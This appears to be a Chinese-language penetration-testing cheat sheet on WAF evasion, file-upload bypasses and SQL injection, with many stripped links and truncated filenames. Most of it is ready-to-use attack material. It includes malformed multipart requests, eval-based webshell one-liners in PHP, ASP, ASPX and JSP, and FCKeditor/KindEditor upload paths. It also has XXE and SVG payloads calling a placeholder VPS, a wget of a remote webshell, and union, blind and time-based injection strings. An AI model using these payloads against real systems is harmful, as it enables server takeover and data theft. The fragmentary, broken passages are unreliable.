Content-Type: application/octet-stream;
<?php phpinfo(); ?>
-------------WebkitFormBoundaryFADasdasdasDdasd
文件类型绕过/Header 头类型
修改文件类型绕过/Header头的Content-Type,多次尝试:
Content-Type:application/x-www-form-urlencoded;
Content-Type:multipart/form-data;
Content-Type:application/octet-stream;
未解析所有文件
multipart协议中,一个POST请求可以同时上传多个文件。如图,许多WAF只检查第一个上传文件,没有检查上传的所有文件,而实际后端容器会解析所有上传的文件名,攻击者只需把paylaod放在后面的文件PART,即可绕过
/qq_32393893/article/details/81625047
不规则Content-Disposition文件名覆盖
-------------WebkitFormBoundaryFADasdasdasDdasd
content-Dispositiona:form-data; name="file"; filename=''
Content-Disposition:form-data; name="file"; filename='
Content-Type: application/octet-stream;
<?php phpinfo(); ?>
-------------WebkitFormBoundaryFADasdasdasDdasd
/ttarticle/p/show?id=2309404007261092631700
文章讲解了Content-Disposition各种不规则绕过方法
boundary 绕过
boundary边界不一致(Win2k3 + llS6.0 + ASP)
1)%u特性: iis支持对unicode的解析,如:payload为[s%u006c%u0006ect],解析出来后则是[select]
%u0061nd 1=1
另类%u特性: unicode在iis解析之后会被转换成multibyte,但是转换的过程中可能出现:多个widechar可能会转换为同一个字符。
如:select中的e对应的unicode为%u0065,但是%u00f0同样会被转换成为e s%u00f0lect
iis+asp
2)%特性: union selec%t user fr%om dd #iis+asp asp+iis环境下会忽略掉百分号,如:payload为[sele%ct], 解析出来后则是[select]
3)asp/在解析请求的时候,允许Content-Type: application/x-www-form-urlencoded的数据提交方式select%201%20from%20user
asp/ request解析:
4)在asp和中获取用户的提交的参数一般使用request包,当使用request(‘id’)的形式获取包的时候,会出现GET,POST分不清的情况,譬如可以构造一个请求包,METHOD为GET,但是包中还带有POST的内容和POST的content-type, 换一种理解方式也就是将原本的post数据包的method改成GET,如果使用request(‘id’)方式获取数据,仍会获取到post的内容
php+apache畸形的boundary:
php在解析multipart data的时候有自己的特性,对于boundary的识别,只取了逗号前面的内容,例如我们设置的boundary为—-aaaa,123456,php解析的时候只识别了—-aaaa,后面的内容均没有识别。然而其他的如WAF在做解析的时候,有可能获取的是整个字符串,此时可能就会出现BYPASS
Content-Type: multipart/form-data; boundary=------,xxxx
Content-Length: 191
------,xxxx
Content-Disposition: form-data; name="img"; filename=""
GIF89a
------
Content-Disposition: form-data; name="id"
1' union select null,null,flag,null from flag limit 1 offset 1-- -
--------
------,xxxx--
畸形method(header头中)
某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容。如请求的method名为DOTA,依然会返回GET方法的值,即,可以任意替换GET方法为其它值,但仍能有效工作,但如果waf严格按照GET方法取值,则取不到任何内容
参考文章:
/t/2418
文件名覆盖绕过
参考文章:
/t/15
文件名回车
Content-Disposition: form-data; name=img"; filename="
p"
遗漏文件名
当AF遇到"name=" myfile";"时,认为没有解析到 filename。而后端容器继续解析到的文件名是t3jsp,导致WAF被绕过
content-Disposition: form-data; name="myfile";; filename="t3. jsp"
其他类型绕过
以下均某一漏洞类型为例,具体皆可应用于XSS、SQL注入、命令执行等漏洞
参数绕过
PHP
?%20value=payload
ASP
?%value=payload
?%}9value=payload
参数溢出
?id=111111111111111111111 (长很长) and 1=1
?id=1111111111 union %23xxxxxxxxxxxxx (很长很长) xxxx%0d select 等
参数截断
/file%
HPP HTTP参数污染/拼接绕过
(以Mysql为例)
?id=123+union+select+1,2,3+from+table
?id=123+union+select+1&id=2,3+from+table
?id=123+union+select/*&id=*/user&id=pass/*&id=*/from/*&id=*/users id=select/*,*/.............
这是中间件与参数拼接的关系图
HPF HTTP分割注绕过
这种方法是HTTP分割注入,同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
举例:
/?a=1+union/&b=/select+1,pass/&c=/from+users–
select * from table where a=1 union/* and b=/select 1,pass/ limit */from users—
看罢上面两个示例,发现和HPP最后一个示例很像,不同之处在于参数不一样,这里是在不同的参数之间进行分割,到了数据库执行查询时再合并语句
参考文章:
/p/79356937
最后另类绕过合集
路径系列:
?path=/path/././././blah/blah/blah/../../../
/path: /vuln. php?value=PAYLOAD
/path/;lol=lol/vuln. php?value=PAYLOAD
/path//lolol?value=PAYLOAD
/path/;lol=lol?value=PAYLOAD
编码绕过
URL Encode - %27
Double URL Encode - %2527
UTF-8 (2 byte) - %c0%a7
UTF-8 (JAVA) - \ uc0a7
HTML Entity - &apos;
HTML Entity Number - ;
Decimal - $#39
Unicode URL Encoding - %u0027
Base64 - Jw==
iis+asp(x)
%u 特性:
iis支持对unicode的解析,如:payload为 s%u006c%u0006ect,解析出来后则是 select
另类%u特性: unicode在iis解析之后会被转换成multibyte,但是转换的过程中可能出现:多个widechar可能会转换为同一个字符
如: selec中的e对应的unicode为%u0065,但是%u00f0同样会被转换成为e
s%u0065lect->select s%u00f0lect->select
WAF层可能能识别s%u0065lect的形式,但是很有可能识别不了s%u00f0lect的形式。这样就可以利用起来做WAF的绕过
常见三个关键字(union+select+from)的测试情况:
s%u0045lect = s%u0065lect = %u00f0lect
u --> %u0055 --> %u0075
n -->%u004e --> %u006e
i -->%u0049 --> %u0069
o -->%u004f --> %u006f -->%u00ba
s -->%u0053 --> %u0073
l -->%u004c --> %u006c
e -->%u0045 --> %u0065-->%u00f0
c -->%u0043 --> %u0063
t -->%u0054 -->%u0074 -->%u00de -->%u00fe
f -->%u0046 -->%u0066
r -->%u0052 -->%u0072
m -->%u004d -->%u006d
asp/解析请求
asp/在解析请求的时候,允许Content-Type: application/x-www-form-urlencoded的数据提交方式select%201%20rom%20user
大小写变化(非WAF,仅过滤绕过)
?id=<sCripT>AleRt(123)</scRIpt>
?id=123 uni0n SeLEcT BaNneR FroM v$vERsIon whERe ROwNUm=1
加粗样式嵌套(非WAF,仅过滤绕过)
另类
?id=1+un/**/ion+sel/**/ect+1,2,3--
针对中间分析设备
Get /test HTTP/1.1 > GET test,
Get /test HTTP/1.1 > GET
Get /test HTTP/1.1 > GET @
分析设备拼接后:
参考文章:
//SQL_Injection_Bypassing_WAF
/s/e1jy-DFOSROmSvvzX_Ge5g
2.2.5 登录口JS前端加密绕过
概述
渗透测试过程中遇到web登录的时候,现在很多场景账号密码都是经过js加密之后再请求发送(通过抓包可以看到加密信息)如图一burp抓到的包,request的post的登录包,很明显可以看到password参数的值是经过前端加密之后再进行传输的,遇到这种情况,普通发包的爆破脚本就很难爆破成功。鉴于这种情况,这边分析四种方式进行绕过加密爆破
参考文章:大概能分为以下四种方法
/articles/web/
我将几种方法口语化简述下:
1)既然是前端s加密,代码我们都能看得到,我们搭个服务器,每次发包前,把要发送的加密参数用服务器加密一遍,我们再把加密后的参数发送过去,这样相当于本地还原了加密过程
2)利用selenium webdriver等完全模拟人工输入,字典也可以自定义,不过需要自己写脚本而已,这种方法比较万能
3)这种方法适合有js功底的同学,首先把他的js加密过程跟方法看懂,然后本地简化或者用其他语言模拟他的加密过程,再自己写脚本去跑,或者生成加密后的字典直接burp去跑即可
4)前人栽树,后人乘凉,cony1老哥为了方便后辈,写了一款burp插件, /c0ny1/jsENcrypter
,名为jsEncrypter,简单来说就是把1,3点结合了一下,用插件方便地跑起来
jsEncrypter安装与本地测试 (dayu-Sixth day)
这里重点介绍第四种方法
1)首先得安装 maven,mac下直接 brew install maven
安装连接:
/maven/
按照文档三种系统都有安装方法
1)安装好maven后,把jsEncrypter git clone回来或者下载回来解压缩,然后在他的文件夹下,打开cmd窗口,然后运行mvn package,就可以把插件编译成型,编译好后会多出一个target文件夹
命令:mvn package
这里不演示下去了…详细的查看文章…
/2019/08/04/登陆口js前端加密绕过/
中间复现会遇到的一些问题:
安装phantomJS环境变量参考:/xc_zhou/article/details/80700640
参考链接:
/articles/2018/fast-locate-the-front-end-encryption-method/
/articles/web/
/
/articles/2017/jsEncrypter/
/articles/web/
/xiaozi/p/
2.2.6 XMLDecoder 标签、POC
详细介绍以下内容:
标签类型:
1)java
2)array
3)class
4)object
5)void
6)new
7)field
8)method
9)property
10)byte
11)其余数据类型
XML的基本语法
XML简单利用
详细文章:
/t/7944
该文章全面的介绍了XMLDecoder遇到的基础知识…了解后我们开始看下面的CVE解析文章
/tags/XMLDecoder/ --CVE-2019-2725、Weblogic XMLDecoder RCE分析
/2020/07/01/Java安全-反序列化篇-XMLDecoder到Weblogic几个补丁的绕过分析/
文章非常详细的POC
2.2.7 phpMyAdmin去getshell
前言
在学习sql语句之前,拿到phpmyadmin弱口令登录到后台却不知道怎么利用,学习之后却有了新的想法利用phpMyadmin getshello接下去来验证自己的猜想
phpMyAdmin的简介
phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。
详细文章:
/t/3283
/u/4196756/blog/4408564 --近期最新文章复现讲解
/p/25957366
2.2.8 攻击JWT的一些方法
详细文章:
/t/6776
该文章中REF有详细链接,以及针对JWT的爆破密匙工具c-jwt-cracker也有详细链接介绍等
2.2.9 上传漏洞
上传技巧
大小写混淆
%00截断
上传.htaccess分布式部署文件
图片文件头:47 49 46 38 39 61 (gif)、FF D8 FF E0 00 10 4A 46 49 46 (jpg) 、89 50 4E 47 (png)
其他解析格式:cer、asa、php4、php3、php5、phtml、jspx
修改(Content-type)MIME
目录回溯符 filename="../backdoor. php"
编辑器漏洞
百度编辑器 Ueditor
?action=catchimage
FCKeditor
查看版本
/fckeditor/editor/dialog/fck_about.html
/fckeditor/_Whatsnew.html
上传页面
常用的上传地址:
FCKeditor/editor/filemanager/browser/default/connectors/asp/?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/?type=Image&connector=connectors/asp/
FCKeditor/editor/filemanager/browser/default/?Type=Image&Connector=%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp% (ver:2.6.3 测试通过)
JSP 版:
FCKeditor/editor/filemanager/browser/default/?Type=Image&Connector=connectors/jsp/
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
FCKeditor 中test 文件的上传地址
FCKeditor/editor/filemanager/browser/default/connectors/
FCKeditor/editor/filemanager/upload/
FCKeditor/editor/filemanager/connectors/
FCKeditor/editor/filemanager/connectors/
一般很多站点都已删除_samples 目录,可以试试。
FCKeditor/editor/ 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。
参考文章:
/developer/news/210677
上传的思路
Version 2.2 版本
Apache+linux 环境下在上传文件后面加个.突破!测试通过
Version <=2.4.2 For php
在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址
<form enctype="multipart/form-data"
action="/FCKeditor/editor/filemanager/upload/php/?Type=Media"
method="post">Upload a new file:<br>
<input type="file" name="NewFile" size="50"><br>
<input type="submit" value="Upload">
</form>
FCKeditor 文件上传.变_下划线的绕过方法
很多时候上传的文件例如: 或;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化
提交+空格绕过,不过空格只支持win 系统 *nix 是不支持的[ 和+空格是2 个不同的文件 未测试
继续上传同名文件可变为;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制
Version 2.4.1 测试通过
修改CurrentFolder 参数使用 …/…/ 来进入不同的目录
/browser/default/connectors/aspx/?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=
根据返回的XML 信息可以查看网站所有的目录
FCKeditor/editor/filemanager/browser/default/connectors/aspx/?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
也可以直接浏览盘符:
JSP 版本:
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F
Fckeditor 2.0 <= 2.2
允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName
,而没有使用$sExtension
为后缀.直接导致在windows下在上传文件后面加个.来突破(这里点点很重要)
而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘
在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用iis6 解析漏洞建立文件夹或者上传;.jpg
参考文章:
/zpchcbd/p/
KindEditor
上传页面
kindeditor/asp/upload_json.asp?dir=file
kindeditor//upload_json.ashx?dir=file
kindeditor/jsp/upload_json.jsp?dir=file
kindeditor/php/upload_json.php?dir=file
上传思路
kindeditor<=4.1.5
curl -F"imgFile=@"http://127.0.0.1/test/kindeditor/php/upload_json.php?dir=file
参考文章:
/article/20190510/
/column/ --上传思路
2.2.9.1 上传漏洞总结
上传总结
概要说明
文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接
Asp一句话 :
<%eval request(“kkk”)%> kkk
Php一句话:
<?php eval($_POST[666]);?> 666
Aspx一句话:
<%@ Page Language="Jscript"%><%eval(["111"],"unsafe");%>
Jsp一句话:
<%
if(("f")!=null)(new (("\\")+("f"))).write(("t").getBytes());
%>
参考一句话:
/u/4373914/blog/3467075
服务端的上传验证
1)白名单验证定义允许上传的后缀类型,除此所有后缓都不允许
2)黑名单验证
定义不允许上传的后缀类型,除此之类其他后缀都可以上传
定义不允许上传的后缀:
asp、aspx、asa、cer、cdx、ash
【突破方法】
未重命名可以配合解析漏洞(很少)
可以用cer达到绕过效果
如果未用转换函数强制转换后缀为小写(ASP)
特殊后缀达到效果可利用ashx来生成一句话
.htaccess来实现后缀引导。上传jpg可以解析成脚本,具体在内容定义
3)文件头验证
4)文件类型验证
例如可以把php的文件类型改成正常的图片类型
5)文件后缀验证
典型的白名单验证,指定上传后缀必须为jpg、JPG、jpeg、JPEG
类似图吧…
6)js前端验证
Js在前端定义了允许上传的后缀类型
【突破方法】直接在前端修改或添加后缀,找不到就搜索图片后缀如jpg
上传绕过姿势
服务器解析漏洞( Apache Nginx IIS7.0/7.5)
1)解析漏洞
使用版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。
目录解析(6.0)
形式://
原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。
文件解析
形式:/;.jpg
原理:服务器默认不解析;号后面的内容,因此;.jpg便被解析成asp文件了。
解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/
/
/
修复方案
禁止用户控制文件上传目录,新建目录等权限
上传目录与用户新建的目录禁止执行
上传的文件重命名,不保留用户上传文件的后缀
禁止asa、asp、cer、cdx等后缀的文件上传
2)Apache解析漏洞
漏洞原理
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把解析成php。
漏洞形式
/.php123
其余配置问题导致漏洞
(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php方式执行
一个文件名为xxxx1.2x.x3的文件(例如: ),Apache会从x3的位置往×1的位置开尝试解析,如果x3不属于 Apache能解析的扩展名,那么 Apache会尝试去解析×2的位置,这样一直往前尝试,直到遇到一个能解析的扩展名为止
WampServer2.0AllVersion(WampServer2.0i/Apache2 2.11)
Wamp Server2.1AllVersion(Wamp Server2.1e-X32/Apache2 2.17)
Wamp5AllVersion(Wamp5_1.7.4/Apache2 2.6)
AppServ2.4All Version(AppServ-2.4.9/Apache2.0.59)
AppServ2.5AllVersion(AppServ-2.5.10/Apache2.2.8)
AppServ2.6AllVersion(AppServ-2.6.0/Apache 2.2.8)
以上集成环境都存在扩展名解析顺序漏洞,并且这些环境都存在对ρhp3文件按照php来解析这个小洞。该方法针对黑名单不全时,能够绕过
总结存在该漏洞的 Apache版本:
Apache2.<=2.0.59
Apache2.<=2.2.17
3)nginx 解析漏洞
漏洞原理
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nqinx配置文件中通过正则匹配设置SCRIPT_FILENAME,当访问//这个URL时,$fastcgi.script_name会被设置为"/”,然后构造成SCRIPT_FILENAME传递给 PHP CGI,但是PHP为什么会接受这样的参数,并将作为PHP文件解析呢?这就要说到fix_pathinfoi这个选项了
如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是,而是PATH_INFO,所以就会将作为PHP文件来解析了
漏洞形式
/UploadFiles/image//
/UploadFiles/image/%
/UploadFIles/image//%20\
4)IIS7.5 解析漏洞
IS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL后面追加上字符串"/
任意文件名.php"
”就会按照php的方式去解析(例如:/)
IIS7.0(Win2008R1+IIS7.0)
IIS7.5(Win2008R2+IIS7.5)
IlS的解析漏洞不像Apache那么模糊,针对IIS6.0,只要文件名不被重命名基本都能搞定。这里要注意一点,对于"任意文件名/任意文件名.php"
这个漏洞其实是出现自php-cgi的漏洞,所以其实跟IIS自身是无关的
文件扩展名绕过(asp、aspx、php、jsp)
1)asp
#IIS 5.0/6.0
#文件解析
.asp;.jpg
.
.asp;jpg
#目录解析
.asp/
#大小写绕过
asPx
#截断
%
#空格绕过
.jpg
1.asp_.jpg (_代替空格,只在windows下有效,因为windows系统自动去掉不符合规则符号后面的内容)
#黑名单绕过(替代asp):
IIS6.0 默认的可执行文件除了asp还包含这三种:
asa
cer
cdx
ashx
asmx
#IIS put 上传
#asaspp
#filename换位置放到content-type 的下一行
#+;+
#双文件上传
#RTOL
2)aspx
#IIS 5.0/6.0
#文件解析
.aspx;.jpg
.
.aspx;jpg
#目录解析
.aspx/
#大小写绕过
asPx
#截断
%
#空格绕过
1.aspx_.jpg (_代替空格,只在windows下有效,因为windows系统自动去掉不符合规则符号后面的内容)
#黑名单绕过(替代asp):
IIS6.0 默认的可执行文件除了asp还包含这三种:
asa
cer
cdx
ashx (生成aspx文件,见waf绕过)
asmx
htr
asax
#IIS put 上传
#asaspp
#filename换位置放到content-type 的下一行
#+;+
#asaspxpx
#双文件上传
#RTLO
3)php
#大小写
pHp
#黑名单绕过(替代php):
php1
php2
php3
php4
php5
#空格绕过(只有在windows下有效,因为windows系统自动去掉不符合规则符号后面的内容)
.
.
. .
.jpg
1.php_.jpg (_代替空格)
jpg
. .jpg
&,#x2e;jpg
#十六进制绕过 点绕过
.jpg
#解析漏洞
/.php (nginx)
.123 (apache)
/php
/
%
#截断
%
#利用不符合windows文件命名规则绕过
:
::$DATA
::DATA......
#回车
回车p
#上传 .htaccess:(仅在Apache,例如a_php.gif,会被当成php执行)
.htaccess内容
<FilesMatch "_php.gif">
Sethandlerapplication/x-httpd-php
</FilesMatch>
#IIS put上传
#文件包含waf(见6、文件包含绕过)
4)jsp
#两个jsp包含中间的jpg
.
#黑名单绕过(替代jsp):
jspa
]sps
jspx
jspf
#put上传(Apache Tomcat 7.0.0 - 7.0.81)
%20 Put /%20 HTTP/1.1
::$DATA Put /: : SdatA Http/1.1
Put /test3. isp/ Http/1.1
Put/:/1.1
Content-Disposition、content-type、文件内容检测、双文件
1)Content-Disposition
将form-data; 修改为-form-data
替换form-data 为* 即: Content-Disposit
将form-data;name="file"; 分号后面 增加或减少一个空格
将Content-Disposition:form-data 冒号后面 增加或减少一个空格
将Content-Disposition 修改为content-Disposition
filename回车="" (过阿里云waf)
filename="回车" (过百度云waf)
filename="";filename="" 双参数
多个Content-Dispostion
参考链接:/archives/
2)Content-Type
php: application/octet-stream
将Content-Type修改为image/gif,或者其他允许的类型。
或者删除整行!
删除掉ontent-Typ:image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着
将 Content-Type 修改为 content-Type
将 Content-Type:application/octet-stream 冒号后面 增加一个空格
3)文件内容
传图马
4)双文件
http:///2017/10/16/上传绕过之双文件上传/
客户端检测(JavaScript检测)(dayu-Seventh day)
这类检测,通常是在上传页面里含有专门检测文件上传的JavaScript代码,最常见的就是检测扩展名是否合法,示例代码如下:
function check()
{
var filename = ("file");
var str = (".");
var ext = str[-1];
if(ext=='jpg'||ext=='png'||ext=='jpeg'||ext=='gif')
{
return true;
}
else
{
alert("仅允许上传png/jpeg/gif类型的文件!")
return false;
}
return false;
}
判断该类检测的方法:选择一个禁止上传类型的文件上传,当点击确定按钮之后,浏览器立即弹窗提示禁止上传,一般就可以断定为客户端JavaScript检测,进一步确定可以通过配置浏览器HTTP代理(没有流量经过代理就可以证明是客户端JavaScript检测)。
绕过方法:
上传页面,审查元素,修改JavaScript检测函数;
将需要上传的恶意代码文件类型改为允许上传的类型,例如将改为上传,配置Burp Suite代理进行抓包,然后再将文件名改为。
上传,可能前端程序检查后缀时,从前面开始检查。
参考文章:
/2017/04/26/文件上传总结/
WAF绕过(阿里云、安全狗、百度云、云锁)
1、阿里云WAF绕过
Content-Disposition:form-data;name="upload";
filename==="11111
.php"
$x=$_get[×];'$X'
执行?x=wget github的php大马地址
参考链接:
https:/// --信息过于敏感,已被删除
/ ---需要论坛用户密码可观看
2、安全狗
1)===绕过
Content-Disposition:form-data;name="upload";filename===""
2)去除""绕过
Content-Disposition:form-data;name="upload"; filename=
3)少"绕过
Content-Disposition:form-data,name="upload"; filename="
参考链接:
https:/// ---已被删除,过于敏感
/t/8000 --可复现
3、百度云
百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可
Content-Disposition: form-data; name="up_picture"; filename=" .Php"
或者文件名.php回车,这样引号就在另一行,同时上传内容的一句话前面加个中文字符
/bmjoker/p/
4、云锁
Content-Disposition:form-data;name="up_picture"; filename="
另外复现参考文章:
https:///sectips/
实战分析
1、通过上传zip模板后服务器自解压获取webshell
/wordpress/?cat=2035
2、黑名单绕过之文件名可控
复现:
/qq_25899635/article/details/90344198
/thespace/p/
3、高并发绕过上传总结
upload-labs靶场有环境
/aq-ry/p/ ---安装
upload-labs包含了大多数文件上传类型,一个包含几乎所有类型上传类型的靶机,值得学习!!
4、跨目录上传绕过waf
访问aspx马
/t/7860
或者利用…/跳到上层目录,shell传到上层,执行即可…
upload-labs过关
这台靶机很舒服,文件上传的各种骚操作基本都能实现
1、前端
2、修改content-type为image/gif
3、黑名单:php3,phtml
4、黑名单:上传.htaccess
5、黑名单:大小写phP
6、黑名单:空格
7、黑名单:点
8、黑名单:::$DATA
9、黑名单:.. (点+空格+点)
10、黑名单:双写
11、白名单:get型%00截断
12、白名单:post型%00截断,url解码
13、上传图片马,配合包含漏洞
14、条件竞争
根据14个条件,开始打upload-labs靶机吧…
造洞
文件上传漏洞:↓
html文件:造出一个xss漏洞
swf文件:造出一个xss漏洞
svg文件:造出一个xss漏洞
pdf文件:造出一个XSS漏洞和URL跳转漏洞
exe文件:钓鱼
mp4,avi文件:ssrf漏洞
任意后缀文件,只要文件内容为xxe:
shtm1文件:ssi命令执行
xlsx:xxe漏洞
这里举几个例子:
1、svg文件
<svg xmlns="http:///2000/svg" onload="alert(1)"/>
/t/1126
2、swf文件
http://127.0.0.1/?movieName="]%29}catch%28e%29{if%28!%29{windows.....%29//
3、任意文件后缀,只要内容是xxe内容
XXE代码:
#EXTM3U
#EXT-X-MEDIA-SEQUENCE: 0
#EXTINF: 10.0,
conca:http://vps_ip:VPS_PORT/header.m3u8
#EXT-X-ENDLIST
读取文件payload
4、shtml文件 ssi命令执行
<! --#ECHO var="SERVER_SOFTWARE"-->
<! --#echo var="server_name" -->
<! --#echo var="remote_user" -->
命令参考链接:
/archives/
5、xlsx文件 XXE
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % remote SYSTEM ' :8081/">%remote;]><root/>
/ask/article/ --另外思路
Xlsx文件构造:
1、新建一个xlsx文件
2、修改后缀为.zip,并解压
3、打开[Content_Types].xm1,在头部加入xxe payload
4、重新压缩当前文件夹为zip,之后修改后缀为xlsx
5、在上传点上传改文件,上传后服务器自动打开文件,触发xxe
6、Dnslog平台查看结果
2.2.10 注入漏洞
类型:
数据库种类:Access注入,Mysql注入,Mysql注入,Oracle注入
注入点:GET注入,POST注入,Cookie注入 (ua注入)
注入点类型:数字型注入,字符型注入,搜索型注入
注入种类:联合注入,盲注(布尔,时间,报错)
Access注入
/p/ace43a7a331e
MSSQL注入
POC:↓
查询版本
1’ and @@version>0--
查询权限
1' and user>0--
数据库
1' and db_name()>0-- 6csfx
1' and (SELECT top 1 Name FROM Master.. SysDatabases)>0-- master
and 1=(select name from where dbid=1)-- //暴库名DBID为1,2,3....
and 1=(select name from where dbid=2)-- tempdb
and 1=(select name from where dbid=3)-- model
and 1=(select name from where dbid=4)-- msdb
and 1=(select name from where dbid=5)-- ReporServer
.
.
.
.
.
.
and 1=(select name from where dbid=12)....
.
.
.
简单的列举,其余就不列举了,按照长度不同可以自行测试,后面会详细介绍
表
1' And (sElect Top 1 name from sysobjects where xtype=0x55)>0-- Users
列
' SELECT * FROM Users HAVING 1=1--
值
' And (sElect Top 1 UserName from Users)>0-- default
' and 1=convert(int,(SELECT TOP 1 User Name FROM Users WHERE ID NOT IN('1')))--
MYSQL注入
/weixin_45728976/article/details/103932264
Mysql5.0以下
同理Access注入类似
Mysql5.0以上注入
order by解释
union解释
#检测:
/Less-1/?id=1'
select username, password from where id = '1' limit o, 1;
#列数:
/Less-1/?id=1' order by 3 %23
select username, password from where id = '1' order by 3 %23 ' limit
#联合查询
/Less-1/?id=1' union select 1,2,3 %23
#爆显位
/Less-1/?id=-1' union select 1,2,3 %23
#获取用户名
/Less-1/?id=-1' union select 1,user(),3 %23
#获取数据库名
/Less-1/?id=-1' union select 1,database(),3 %23
#获取表名
/Less-1/?id=-1' union select 1,group_concat(table_name),3 form information_schema.tables where table_schema =database()
#获取列表名
/Less-1/?id=-1' union select 1,group_concat(column_name),3 form information_schema.columns where table_name ='users'
#获取数据
/Less-1/?id=-1' union select 1,group_concat(user_name),group_concat(password) from users
参考:/p/5e8a65771641
少见的注入点
搜索框注入
输入1’,对语法错误进行判断,注入即可
其他点注入
Client-IP User-Agent
/weixin_45146120/article/details/100588267 --参考文章
盲注
何为盲注?盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注
延时注入是主要针对页面无变化、无法用布尔真假判断、无法报错的情况下的注入技术
报错注入构造payload让信息通过错误提示回显出来
1、布尔盲注
/p/f0174ea6c69d
2、时间盲注
/p/0d607589e3ad
3、报错注入
/t/253
//archives/34/
/p/bc35f8dd4f7c --12种报错注入
Sqlmap
os-shell Mysql
注入点恰巧又是root权限,这时你就可以直接尝试往目标的网站目录里面写webshell,但还是有个前提,secure_file_priv为空
/t/7416
遇到这种去情况时,如果上传不成功,有三种原因:
1)mysql高版本的安全模式,secure_file_piv的值为null
进入--sql-shell
show global variables like '%secure%';
当secure_file_priv的值为null,表示限制mysqld 不允许导入 | 导出,那就无法写入马
2)secure_file_priv指定了某个目录才可以上传,根目录不允许上传,那么可以尝试往upload目录
往upload等其他目录上传,不要往根目录上传即可
3)secure_file_priv的值为空或者指定了某个目录,但是上传后的文件为空,没有内容写进去
/p/58007573
或者手动写入
/t/7416
–os-shell MSSQL
输入:
os-shell> for /r C: %i in (*xxx*) do @echo %i
/t/7942
导入导出
#SELECT INTO OUTFILE 导入,写入文件
/records/post/database/2018/10/19/mysql-basis_part18
#load_file 导出,读取文件
/archives/512/
如果读取不出来,则将读取的内容写入到当前web目录里,后缀为txt,然后访问
参考该思路…
总结
%5c,%bf',单引号,双引号,反斜杠,负数,特殊字符,and,or,xor探测是否存在注入!!!
注意:(-- )一定要在注释符号后加空格,或者URL编码后的空格(%20),否则注释符号不会产生作用
注释符# --+交替用,一个不行,就另一个
1)先判断是数字型还是字符型,如果判断不出来跳到9
2)接着判断有没有括号
3)最后面跟上--+注释符
4)order by判断字段数,如果没法判断,则直接union select 1,2,3一个个测试过去
5)如果返回的页面发生变化,则联合查询
6)如果union select 1,version(),3返回的页面没有发生变化,即联合查询失败,则尝试报错注入
7)如果报错注入页面也没有把信息显示出来,则进行延时注入
8)如果延时注入也不行,则导入导出
9)尝试延时注入,如果从1过来的,则三种情况,直接跟payload,参数后面加单引号或者双引号
Payload
数字型:–+或者#
or 1=1
or 1=1 --+
)or 1=1--+
/***/or/***/2/***/like/***/1-- 用/***/替换空格,用like替换= 具体案例看漏洞
字符型:–+或者#
' or '1'='1
' or 1=1 --+
' ) or 1=1 --+
‘))or 1=1 --+
" or "1"="1
" or 1=1 --+
") or 1=1 --+
"))or 1=1 --+
其他函数:
or rpad('',1, user())和or Ipad('',1,user())="r"
伪静态:使用%5c,%5c是\的url编码
http://url/Home/Orders/index/currency/%
1)布尔
2)延时,如果过了5秒才显示页面,则存在注入
mysql:BENCHMARK (100000,MD5 (1)) or sleep(5)
id=1' and sleep( if( (select length(database()) >0) , 5, 0 ) )%23
id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+
id=1' or sleep(ord(substr(password,1,1))) --
id=1' XOR(sleep(if((select length(database()) >6),0,5)))XOR'Z
id=1' and (SELECT 1 FROM (SELECT(SLEEP(5)))Gbqj) --+
